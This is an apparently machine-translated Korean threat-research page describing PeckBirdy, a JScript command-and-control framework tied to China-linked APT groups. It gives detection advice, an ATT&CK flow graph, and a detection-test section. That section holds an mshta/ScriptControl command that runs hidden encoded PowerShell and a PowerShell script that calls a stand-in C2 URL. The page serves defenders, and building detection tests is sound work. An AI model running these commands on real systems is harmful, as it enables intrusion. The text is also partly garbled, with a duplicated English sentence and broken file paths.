SOC Prime Bias: 위급

26 1월 2026 22:08

PeckBirdy: 중국 연계 위협 그룹이 사용하는 LOLBins 악용을 위한 다목적 스크립트 프레임워크

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
PeckBirdy: 중국 연계 위협 그룹이 사용하는 LOLBins 악용을 위한 다목적 스크립트 프레임워크
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

PeckBirdy는 중국 계열 APT 행위자들이 Living-off-the-land 이진 파일을 악용하고 HOLODONUT과 MKDOOR를 포함한 모듈형 백도어를 배포하기 위해 사용하는 JScript 기반 명령 및 제어 프레임워크입니다. 이 프레임워크는 웹 브라우저, MSHTA, WScript, NodeJS, .NET을 포함한 여러 런타임에서 실행되도록 설계되었으며, WebSocket, Flash, Comet, HTTP 등 다양한 전송 옵션을 지원합니다. 이 프레임워크는 SHADOW-VOID-044 및 SHADOW-EARTH-045로 추적된 캠페인에서 온라인 도박 리소스, 아시아 정부 웹 포털 및 교육 부문 조직을 대상으로 관찰되었습니다.

조사

연구원들은 도박 사이트와 정부 페이지에 악성 스크립트 인젝션을 보고했으며, 이는 PeckBirdy 로더를 활용하여 Chrome 취약점 (CVE-2020-16040) 및 추가 백도어 구성 요소를 포함한 후속 페이로드를 가져왔습니다. 이 활동은 HOLODONUT 및 MKDOOR라는 두 가지 모듈형 임플란트와 연결되었으며, 이전에 관찰된 그룹 및 인프라 패턴과 연결되었습니다. 분석에는 IP 주소, 도메인 및 도난된 코드 서명 인증서 사용과 같은 운영 세부사항을 포함한 손상 지표가 나열되었습니다.

완화

식별된 악성 도메인 및 IP 주소를 차단하고, MSHTA, WScript, NodeJS를 통한 비정상적인 LOLBin 사용 및 스크립트 실행을 모니터링하세요. 파일을 %TEMP%에 만들어 감지하고 코드 서명 인증서의 엄격한 검증을 시행하세요. 알려진 Cobalt Strike 페이로드와 Donut 생성 .NET 어셈블리에 대한 범위를 갖추면 노출을 더욱 줄일 수 있습니다. file in %TEMP% and enforce strict code-signing certificate validation. Coverage for known Cobalt Strike payloads and Donut-generated .NET assemblies can further reduce exposure.

대응

감지된 경우, 영향을 받은 시스템을 격리하고, 인젝션된 스크립트 및 생성된 백도어 바이너리를 수집하며, 관련된 C2 인프라를 차단하십시오. 측면 이동을 위한 포렌식 삼라마를 수행하고 관찰된 명령줄 아티팩트 및 네트워크 트래픽 패턴에 대한 감지 로직을 업데이트하십시오.

“graph TB %% Class Definitions classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef tool fill:#99ccff classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Technique Nodes content_injection[“<b>기법</b> – <b>T1659 콘텐츠 삽입</b><br /><b>설명</b>: 손상된 웹 페이지에 악성 스크립트를 주입하여 추가 페이로드를 전달합니다.”] class content_injection technique execution_mshta[“<b>기법</b> – <b>T1218.005 서명된 바이너리 프록시 실행: Mshta</b><br /><b>설명</b>: mshta.exe를 사용하여 악성 HTML 응용 프로그램 파일을 실행합니다.”] class execution_mshta technique execution_compiled_html[“<b>기법</b> – <b>T1218.001 서명된 바이너리 프록시 실행: 컴파일된 HTML 파일</b><br /><b>설명</b>: 컴파일된 HTML 파일을 사용하여 악성 JScript 페이로드를 실행합니다.”] class execution_compiled_html technique victim_id_gen[“<b>프로세스</b> – 피해자 식별자 생성<br />고유한 피해자 ID를 생성하고 악성 스크립트를 준비합니다.”] class victim_id_gen process credential_steal_cookie[“<b>기법</b> – <b>T1539 웹 세션 쿠키 훔치기</b><br /><b>설명</b>: 피해자 브라우저 세션에서 인증 쿠키를 추출합니다.”] class credential_steal_cookie technique alt_auth_material_cookie[“<b>기법</b> – <b>T1550.004 대체 인증 자료 사용: 웹 세션 쿠키</b><br /><b>설명</b>: 도난당한 세션 쿠키를 재사용하여 피해자로 인증합니다.”] class alt_auth_material_cookie technique defense_evasion_code_signing[“<b>기법</b> – <b>T1553.002 신뢰 제어 전복: 코드 서명</b><br /><b>설명</b>: 위조되거나 잘못 서명된 코드를 사용하여 신뢰 검사를 우회합니다.”] class defense_evasion_code_signing technique masquerading_invalid_sig[“<b>기법</b> – <b>T1036.001 가장: 잘못된 코드 서명</b><br /><b>설명</b>: 감지를 피하기 위해 잘못된 서명이 있는 바이너리를 제시합니다.”] class masquerading_invalid_sig technique reflective_code_loading[“<b>기법</b> – <b>T1620 반사 코드 로딩</b><br /><b>설명</b>: 운영 체제 로더를 호출하지 않고 메모리에 직접 코드를 로드합니다.”] class reflective_code_loading technique process_injection[“<b>기법</b> – <b>T1055 프로세스 인젝션</b><br /><b>설명</b>: 실행을 숨기기 위해 실행 중인 프로세스에 악성 코드를 주입합니다.”] class process_injection technique impair_defenses[“<b>기법</b> – <b>T1562 방어력 저하</b><br /><b>설명</b>: 보안 도구 및 설정을 비활성화하거나 변조합니다.”] class impair_defenses technique execution_guardrails[“<b>기법</b> – <b>T1480 실행 가드레일</b><br /><b>설명</b>: 특정 대상이나 환경에서만 실행되도록 검사합니다.”] class execution_guardrails technique obfuscated_embedded_payload[“<b>기법</b> – <b>T1027.009 난독화된 파일 또는 정보: 내장 페이로드</b><br /><b>설명</b>: 합법적인 파일이나 데이터 스트림 내에 악성 페이로드를 숨깁니다.”] class obfuscated_embedded_payload technique command_and_control_web[“<b>기법</b> – <b>T1102 웹 서비스</b><br /><b>설명</b>: 명령 및 제어 통신을 위해 표준 웹 서비스를 사용합니다.”] class command_and_control_web technique encrypted_channel[“<b>기법</b> – <b>T1573 암호화된 채널</b><br /><b>설명</b>: 네트워크 검사를 회피하기 위해 C2 트래픽을 암호화합니다.”] class encrypted_channel technique app_layer_web_protocols[“<b>기법</b> – <b>T1071.001 애플리케이션 레이어 프로토콜: 웹 프로토콜</b><br /><b>설명</b>: HTTP/HTTPS와 같은 일반적인 웹 프로토콜을 통해 통신합니다.”] class app_layer_web_protocols technique data_encoding[“<b>기법</b> – <b>T1132 데이터 인코딩</b><br /><b>설명</b>: 전송 중 감지를 피하기 위해 데이터를 인코딩합니다.”] class data_encoding technique lateral_movement_exploit[“<b>기법</b> – <b>T1210 원격 서비스 착취</b><br /><b>설명</b>: 취약한 원격 서비스를 착취하여 횡적 이동을 수행합니다.”] class lateral_movement_exploit technique remote_vulnerability[“<b>프로세스</b> – CVE-2020-16040 Chrome 취약점 착취”] class remote_vulnerability process rat_holodonut[“<b>악성코드</b> – HOLODONUT<br />원격 액세스를 위한 맞춤형 백도어”] class rat_holodonut malware rat_mkdoor[“<b>악성코드</b> – MKDOOR<br />지속성을 제공하는 보조 백도어”] class rat_mkdoor malware %% Operator Nodes op_and_exec((“AND”)) class op_and_exec operator %% Connections content_injection u002du002d>|전달| execution_mshta content_injection u002du002d>|전달| execution_compiled_html execution_mshta u002du002d>|실행| victim_id_gen execution_compiled_html u002du002d>|실행| victim_id_gen victim_id_gen u002du002d>|스크립트 준비| credential_steal_cookie credential_steal_cookie u002du002d>|연결| alt_auth_material_cookie credential_steal_cookie u002du002d>|활성화| defense_evasion_code_signing defense_evasion_code_signing u002du002d>|포함| masquerading_invalid_sig defense_evasion_code_signing u002du002d>|포함| reflective_code_loading defense_evasion_code_signing u002du002d>|포함| process_injection defense_evasion_code_signing u002du002d>|포함| impair_defenses defense_evasion_code_signing u002du002d>|포함| execution_guardrails defense_evasion_code_signing u002du002d>|포함| obfuscated_embedded_payload defense_evasion_code_signing u002du002d>|활성화| command_and_control_web command_and_control_web u002du002d>|사용| encrypted_channel encrypted_channel u002du002d>|사용| app_layer_web_protocols app_layer_web_protocols u002du002d>|사용| data_encoding command_and_control_web u002du002d>|지원| lateral_movement_exploit lateral_movement_exploit u002du002d>|경유| remote_vulnerability lateral_movement_exploit u002du002d>|배포| rat_holodonut lateral_movement_exploit u002du002d>|배포| rat_mkdoor “

공격 흐름

시뮬레이션 실행

전제 조건: 텔레메트리 및 기준선 사전 비행 검사가 통과해야 합니다.

이유: 이 섹션에서는 탐지 규칙을 트리거하기 위해 설계된 적대적 기술(TTP)의 정확한 실행을 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영하고 탐지 논리에서 기대되는 정확한 텔레메트리를 생성하는 것이어야 합니다.

  • 공격 내러티브 및 명령어:
    적대자는 PeckBirdy 스크립트 프레임워크를 사용하여 원격 제어 채널을 설정하고자 합니다. 그들은 mshta.exe 를 선택했습니다. 이는 대부분의 애플리케이션 허가 목록을 우회하는 서명된 Windows 이진 파일이기 때문입니다. 페이로드는 C2 서버에서 가져온 JScript 코드를 실행하기 위해 ActiveX ScriptControl 개체를 포함합니다. 단계는 다음과 같습니다:

    1. C2에서 악성 JScript 페이로드를 다운로드 (예: ).
    2. 에서 mshta.exe 인라인 으로 URI를 통해 ScriptControl 인스턴스를 만들고, 다운로드한 스크립트를 로드하고 실행합니다.
    3. JScript 코드는 역방향 TCP 리스너를 설정하여 발판을 완성합니다.

    텔레메트리를 생성하는 정확한 명령줄은 다음과 같습니다:

    mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"

    이 명령은 mshta.exe 와 문자열 ScriptControl를 모두 포함하여 Sigma 조건을 충족합니다.

  • 회귀 테스트 스크립트:
    아래 스크립트는 악성 mshta 호출을 자동화합니다. 관리 계정을 통해 테스트 워크스테이션에서 실행될 수 있습니다.

    #-------------------------------------------------
    # mshta + ScriptControl을 통한 PeckBirdy 실행
    #-------------------------------------------------
    $c2Url   = "http://malicious.c2/payload.js"
    $jsCode  = @"
    var sc = new ActiveXObject('ScriptControl');
    sc.Language = 'JScript';
    // 간단한 비콘 – 실제 페이로드로 교체
    sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");');
    "@
    
    # JScript 페이로드를 인코딩하여 줄 바꿈 문제를 피합니다
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode))
    
    $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)"
    
    Write-Host "[*] 악성 mshta 실행 중..."
    Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow
  • 정리 명령:
    테스트에서 생성된 아티팩트를 제거하십시오 (예: 임시 파일).

    #-------------------------------------------------
    # PeckBirdy 시뮬레이션 후 정리
    #-------------------------------------------------
    Write-Host "[*] 테스트 아티팩트 정리 중..."
    Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue
    # 테스트에서 시작된 남아있는 mshta 프로세스를 중지합니다
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force